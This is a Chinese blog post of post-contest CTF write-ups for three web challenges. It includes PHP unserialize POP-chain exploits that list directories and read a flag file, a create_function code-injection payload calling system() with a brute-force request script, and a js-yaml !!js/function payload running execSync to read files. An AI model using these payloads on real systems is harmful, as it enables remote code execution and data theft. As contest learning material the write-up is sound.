Z1d10tのBlog

A note for myself,have fun!

  1. 1. 沙贝
  2. 2. easy_unserialize
  3. 3. What’s my name
  4. 4. signal

第六届安洵杯WEB赛后解题

沙贝

期末幽默了 没打 正好主办方给了docker环境 自己搭 赶紧看一下题 quick 太幽默了

easy_unserialize

简单的pop链 按照当时题目环境是phpinfo中就有flag的值 那么我们就可以投机取巧

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Good{
public $g1;
private $gg2;
public function __construct(){
$this->gg2=new Luck();
}

}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct(){
$this->md5="K6lVldWR0SxkahncSoAp";
$this->l1 = "phpinfo";
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
}
class Flag{}
$a = new You();
$a->y1 = new Luck();
$a->y1->lll3 = new Good();
echo urlencode(serialize($a));
?>

值得注意的是里面套了两层的md5值 可以利用脚本爆破出来 参考:md5相等及碰撞绕过_md5强等于绕过-CSDN博客 脚本里面有些错误并且要用python2环境

img

可以打通

img

当然这个题目考点还有原生类 只需要将最后调用phpinfo 换为Flag对象即可触发__invoke()

先扫目录在读文件

img

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class Good{
public $g1;
private $gg2;
public function __construct(){
$this->gg2=new Luck();
}

}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct(){
$this->md5="K6lVldWR0SxkahncSoAp";
$this->l1 = new Flag();
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
}
class Flag{
#public $FilesystemIterator='/'; #扫目录
public $SplFileObject='/FfffLlllLaAaaggGgGg'; #读文件
}
$a = new You();
$a->y1 = new Luck();
$a->y1->lll3 = new Good();
echo urlencode(serialize($a));
?>

还有个知识点就是array_walk()这个函数

img

那么这里需要注意它不仅可以对数组还有对象 如果是对象的话就会把属性的值作为callback的第一个参数 属性名作为第二个 这里很巧妙

What’s my name

考点:

  • create_function 注入 唤起我远古的记忆 记得之前在ctfshow上做过

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}

首先是正则匹配规定了d0g3参数只能用5个字符 +include开头

然后这里有两个create_function 第一个create_function 其实用来让我们匹配这个匿名函数后两位数字的

我们来看看这个$miao是什么

img

可以看到是\000lambda_6其实本质是\000lambda_%d 这是匿名函数的名字 并且%d是指当前第几个匿名函数 每提交一次就会+1

因此如果我们想strlen($d0g3)==substr($miao, -2)条件成立 那么就需要不断发包

接下来是第二个create_function 这里考察的就是注入了 思想类似于sql注入"]);}include("index.php");system("env");//

写一个脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://127.0.0.2:9999/test/1.php"
params = '?d0g3="]);}include("index.php");system("whoami");//&name=\000lambda_45'
while True:
r = requests.get(url=url+params)
#print(r.url)
if("Is That My Name?" not in r.text):
print(r.text)
break
else:
pass

需要注意的是有时候匿名函数名称为\x00lambda_%d 在win环境下是\000lambda_%d

signal

考点:

  • js yaml

审计一下 发现它可以将yaml文件解析为js对象 然后会将name渲染出来

img

根据js-yaml中文文档|js-yaml js中文教程|解析 | npm中文文档

img

发现支持调用函数

img

4.0.0 released · nodeca/js-yaml@ee74ce4

js-yaml的version 是3.14.1 ,跟新版本提交对比这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function

img

在模版渲染的地方,会自动调用对象的tostring方法

1
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
本文最后更新于 天前,文中所描述的信息可能已发生改变